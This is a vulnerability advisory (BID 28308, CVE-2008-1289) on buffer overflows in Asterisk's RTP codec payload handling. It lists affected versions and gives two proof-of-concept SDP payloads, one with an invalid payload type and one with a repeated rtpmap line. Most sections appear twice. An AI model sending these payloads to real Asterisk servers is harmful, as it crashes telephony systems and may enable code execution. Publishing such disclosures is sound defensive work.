Asterisk RTP Codec Payload Handling Multiple Buffer Overflow Vulnerabilities
BID:28308
Info
Asterisk RTP Codec Payload Handling Multiple Buffer Overflow Vulnerabilities
| Bugtraq ID: | 28308 |
| Class: | Boundary Condition Error |
| CVE: |
CVE-2008-1289 |
| Remote: | Yes |
| Local: | No |
| Published: | Mar 18 2008 12:00AM |
| Updated: | Apr 13 2015 09:51PM |
| Credit: | Mu Security Research Team is credited with the discovery of these issues. |
| Vulnerable: |
Redhat Fedora 7 Asterisk s800i Appliance 1.1 .0 Asterisk AsteriskNow 1.0 Asterisk Asterisk Business Edition C.1.0-beta8 Asterisk Asterisk Business Edition C.1.0-beta7 Asterisk Asterisk Appliance Developer Kit 1.4 Asterisk Asterisk 1.4.17 Asterisk Asterisk 1.4.16 Asterisk Asterisk 1.4.15 Asterisk Asterisk 1.4.14 Asterisk Asterisk 1.4.13 Asterisk Asterisk 1.4.12 Asterisk Asterisk 1.4.11 Asterisk Asterisk 1.4.10 Asterisk Asterisk 1.4.9 Asterisk Asterisk 1.4.8 Asterisk Asterisk 1.4.7 Asterisk Asterisk 1.4.6 Asterisk Asterisk 1.4.5 Asterisk Asterisk 1.4.4 Asterisk Asterisk 1.4.3 Asterisk Asterisk 1.4.2 Asterisk Asterisk 1.4.1 Asterisk Asterisk 1.4 revision 95946 Asterisk Asterisk 1.4 Beta |
| Not Vulnerable: |
Asterisk s800i Appliance 1.1 .2 Asterisk AsteriskNow 1.0.2 Asterisk Asterisk Business Edition C.1.6.1 Asterisk Asterisk Appliance Developer Kit 1.4 revision 109386 Asterisk Asterisk 1.6 beta6 Asterisk Asterisk 1.4.19 -rc3 Asterisk Asterisk 1.4.18.1 |
Discussion
Asterisk RTP Codec Payload Handling Multiple Buffer Overflow Vulnerabilities
Asterisk is prone to multiple buffer-overflow vulnerabilities because it fails to perform adequate boundary checks on user-supplied data before copying it to insufficiently sized buffers.
Exploiting these issues may allow an attacker to corrupt memory and cause denial-of-service conditions or potentially execute arbitrary code in the context of the application.
These issues affect the following versions:
Asterisk Open Source prior to 1.4.18.1 and 1.4.19-rc3.
Asterisk Open Source prior to 1.6.0-beta6
Asterisk Business Edition prior to C.1.6.1
AsteriskNOW prior to 1.0.2
Asterisk Appliance Developer Kit prior to Asterisk 1.4 revision 109386
s800i (Asterisk Appliance) prior to 1.1.0.2
Asterisk is prone to multiple buffer-overflow vulnerabilities because it fails to perform adequate boundary checks on user-supplied data before copying it to insufficiently sized buffers.
Exploiting these issues may allow an attacker to corrupt memory and cause denial-of-service conditions or potentially execute arbitrary code in the context of the application.
These issues affect the following versions:
Asterisk Open Source prior to 1.4.18.1 and 1.4.19-rc3.
Asterisk Open Source prior to 1.6.0-beta6
Asterisk Business Edition prior to C.1.6.1
AsteriskNOW prior to 1.0.2
Asterisk Appliance Developer Kit prior to Asterisk 1.4 revision 109386
s800i (Asterisk Appliance) prior to 1.1.0.2
Exploit / POC
Asterisk RTP Codec Payload Handling Multiple Buffer Overflow Vulnerabilities
The following proof-of-concept payloads are available:
Example invalid SDP payload (invalid RTP payload type is 780903144):
v=0
o=- 817933771 817933775 IN IP4 10.10.1.101
s=session-name
c=IN IP4 10.10.1.101
t=0 0
m=audio 5000 RTP/AVP 0
a=rtpmap:780903144 PCMU/8000
a=rtpmap:4 G723/8000/1
a=rtpmap:97 telephone-event/8000
Example SDP payload:
v=0
o=- 817933771 817933775 IN IP4 10.10.1.101
s=session-name
c=IN IP4 10.10.1.101
t=0 0
m=audio 5000 RTP/AVP 0
a=rtpmap:0 PCMU/8000
[... repeat this line ...]
a=rtpmap:4 G723/8000/1
a=rtpmap:97 telephone-event/8000
The following proof-of-concept payloads are available:
Example invalid SDP payload (invalid RTP payload type is 780903144):
v=0
o=- 817933771 817933775 IN IP4 10.10.1.101
s=session-name
c=IN IP4 10.10.1.101
t=0 0
m=audio 5000 RTP/AVP 0
a=rtpmap:780903144 PCMU/8000
a=rtpmap:4 G723/8000/1
a=rtpmap:97 telephone-event/8000
Example SDP payload:
v=0
o=- 817933771 817933775 IN IP4 10.10.1.101
s=session-name
c=IN IP4 10.10.1.101
t=0 0
m=audio 5000 RTP/AVP 0
a=rtpmap:0 PCMU/8000
[... repeat this line ...]
a=rtpmap:4 G723/8000/1
a=rtpmap:97 telephone-event/8000
Solution / Fix
Asterisk RTP Codec Payload Handling Multiple Buffer Overflow Vulnerabilities
Solution:
The vendor has released updates to address these issues. Please see the references for more information.
Solution:
The vendor has released updates to address these issues. Please see the references for more information.